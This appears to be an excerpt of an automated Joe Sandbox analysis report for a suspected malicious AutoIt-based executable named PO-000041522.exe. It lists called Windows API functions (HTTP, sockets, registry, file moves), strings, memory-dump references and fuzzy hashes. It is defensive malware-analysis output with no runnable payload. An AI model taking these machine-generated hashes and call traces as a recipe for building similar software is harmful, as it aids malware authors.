                                                                                                • DestroyWindow.USER32(?), ref: 0042A751
                                                                                                • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                                • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                                • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                                • String ID: close all
                                                                                                • API String ID: 4174999648-3243417748
                                                                                                • Opcode ID: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                                • Opcode Fuzzy Hash: 9f9deb73285226e6ba240568d142da5fec9cf520cd27fc9a3a2cacaca98377aa
                                                                                                • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                                APIs
                                                                                                • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                                • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                                • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                                • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                                • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                                • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                                  • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                                • String ID:
                                                                                                • API String ID: 1291720006-3916222277
                                                                                                • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                                • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                                • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ErrorLastselect
                                                                                                • String ID: HH
                                                                                                • API String ID: 215497628-2761332787
                                                                                                • Opcode ID: 344dd9e7c95f1646b704c85d4a1909f9cf4abbd686ee1b22cd4b474049dcf48c
                                                                                                • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                                • Opcode Fuzzy Hash: 344dd9e7c95f1646b704c85d4a1909f9cf4abbd686ee1b22cd4b474049dcf48c
                                                                                                • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                                • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                                • API String ID: 1729044348-3708979750
                                                                                                • Opcode ID: 9ed61fbeea1866e8097e42bb68cbfcf5217e37ba34dc2149e076dc651e511868
                                                                                                • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                                • Opcode Fuzzy Hash: 9ed61fbeea1866e8097e42bb68cbfcf5217e37ba34dc2149e076dc651e511868
                                                                                                • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                                APIs
                                                                                                  • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\PO-000041522.exe,?,C:\Users\user\Desktop\PO-000041522.exe,004A8E80,C:\Users\user\Desktop\PO-000041522.exe,0040F3D2), ref: 0040FFCA
                                                                                                • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                                • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                                • _wcscat.LIBCMT ref: 0044BCAA
                                                                                                • _wcslen.LIBCMT ref: 0044BCB7
                                                                                                • _wcslen.LIBCMT ref: 0044BCCB
                                                                                                • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                                • String ID: \*.*
                                                                                                • API String ID: 2326526234-1173974218
                                                                                                • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                                • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                                • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                                APIs
                                                                                                  • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                                • _wcslen.LIBCMT ref: 004366DD
                                                                                                • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                                • GetLastError.KERNEL32 ref: 0043670F
                                                                                                • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                                • _wcsrchr.LIBCMT ref: 0043674C
                                                                                                  • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                                • String ID: \
                                                                                                • API String ID: 321622961-2967466578
                                                                                                • Opcode ID: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                                • Opcode Fuzzy Hash: 1eb455b432650c328f353f4bd1bc621d200bc06401c5471b489e88a9126e4646
                                                                                                • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsnicmp
                                                                                                • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                                • API String ID: 1038674560-2734436370
                                                                                                • Opcode ID: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                                • Opcode Fuzzy Hash: 8fabdde956d602f6b8b7368bcff20dfc7d0b0c72369e2d81c3549115c9808aba
                                                                                                • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                                APIs
                                                                                                • DeleteObject.GDI32(?), ref: 0044157D
                                                                                                • GetDC.USER32(00000000), ref: 00441585
                                                                                                • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                                • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                                • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                                • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                                • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                                • String ID:
                                                                                                • API String ID: 3864802216-0
                                                                                                • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                                • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                                • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 00401257
                                                                                                  • Part of subcall function 00401BE0: _memset.LIBCMT ref: 00401C62
                                                                                                  • Part of subcall function 00401BE0: _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                  • Part of subcall function 00401BE0: _wcscpy.LIBCMT ref: 00401CBD
                                                                                                  • Part of subcall function 00401BE0: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                • KillTimer.USER32(?,?), ref: 004012B0
                                                                                                • SetTimer.USER32(?,?,000002EE,00000000), ref: 004012BF
                                                                                                • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AA80
                                                                                                • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AACC
                                                                                                • Shell_NotifyIconW.SHELL32(?,?), ref: 0042AB0F
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: IconNotifyShell_$Timer_memset$Kill_wcscpy_wcsncpy
                                                                                                • String ID:
                                                                                                • API String ID: 1792922140-0
                                                                                                • Opcode ID: 91f47cbc1f218a7f09512ea68bd6b482f011e20e77652f43937312b7b91c0350
                                                                                                • Instruction ID: 78dbdb20408675f5dda5a176dd8a03fc230073daf987e80dd157250a536ae6f7
                                                                                                • Opcode Fuzzy Hash: 91f47cbc1f218a7f09512ea68bd6b482f011e20e77652f43937312b7b91c0350
                                                                                                • Instruction Fuzzy Hash: 56319670609642BFD319CB24D544B9BFBE8BF85304F04856EF488A3251C7789A19D7AB
                                                                                                APIs
                                                                                                • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                  • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                  • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                  • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                  • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                  • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                • ExitThread.KERNEL32 ref: 0041410F
                                                                                                • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                • __freefls@4.LIBCMT ref: 00414135
                                                                                                • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                • String ID:
                                                                                                • API String ID: 1925773019-0
                                                                                                • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                                • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                                • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                                APIs
                                                                                                • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                                • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                                • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                                • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                                • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                                • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                                • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                                • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ClearVariant
                                                                                                • String ID:
                                                                                                • API String ID: 1473721057-0
                                                                                                • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                                • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                                • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                                APIs
                                                                                                • WSAStartup.WSOCK32(00000101,?,?), ref: 00464ADE
                                                                                                  • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                                • inet_addr.WSOCK32(?,00000000,?,?,00000101,?,?), ref: 00464B1F
                                                                                                • gethostbyname.WSOCK32(?,?,00000000,?,?,00000101,?,?), ref: 00464B29
                                                                                                • _memset.LIBCMT ref: 00464B92
                                                                                                • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                                • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                                • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                                • String ID:
                                                                                                • API String ID: 3424476444-0
                                                                                                • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                                • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                                • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                                APIs
                                                                                                • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MetricsSystem
                                                                                                • String ID:
                                                                                                • API String ID: 4116985748-0
                                                                                                • Opcode ID: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                • Instruction ID: 1e23dbab6d9439f1299be2c39bdf7de0481ead398f869a6d5eaf0ea33fa99bdf
                                                                                                • Opcode Fuzzy Hash: eff4c90f3403bcfb76001cffaab33834930133fcb34fa8184a7caea4de8066d9
                                                                                                • Instruction Fuzzy Hash: 8EA19C70608701DBE314CF68C984B6BBBE1FB88704F14491EFA8593251E778F965CB5A
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AC62
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                • String ID:
                                                                                                • API String ID: 535477410-0
                                                                                                • Opcode ID: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                • Instruction ID: 71109d01e6e71572d3d886d5d9f1e4ab699fb1be984f768d753da2f0a00da466
                                                                                                • Opcode Fuzzy Hash: 37987dacba266e2f7d681c7555595b89ca1c624194ad33880a6965c3691367fb
                                                                                                • Instruction Fuzzy Hash: BBA18EB1204300AFC710EF65C885B1BB7E4BF85704F14896EF685AB292D779E905CB9B
                                                                                                APIs
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                • _memset.LIBCMT ref: 004538C4
                                                                                                • GetMenuItemInfoW.USER32(?,?), ref: 004538EF
                                                                                                • _wcslen.LIBCMT ref: 00453960
                                                                                                • SetMenuItemInfoW.USER32(00000011,?,00000000,?), ref: 004539C4
                                                                                                • SetMenuDefaultItem.USER32(?,000000FF,00000000,?,?), ref: 004539E0
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ItemMenu$Info_wcslen$Default_memset_wcscpy
                                                                                                • String ID: 0
                                                                                                • API String ID: 3530711334-4108050209
                                                                                                • Opcode ID: cbb5ed86f03288553fc825dd3ab8c57fafd64d2f50e393d98c7388e7e8691348
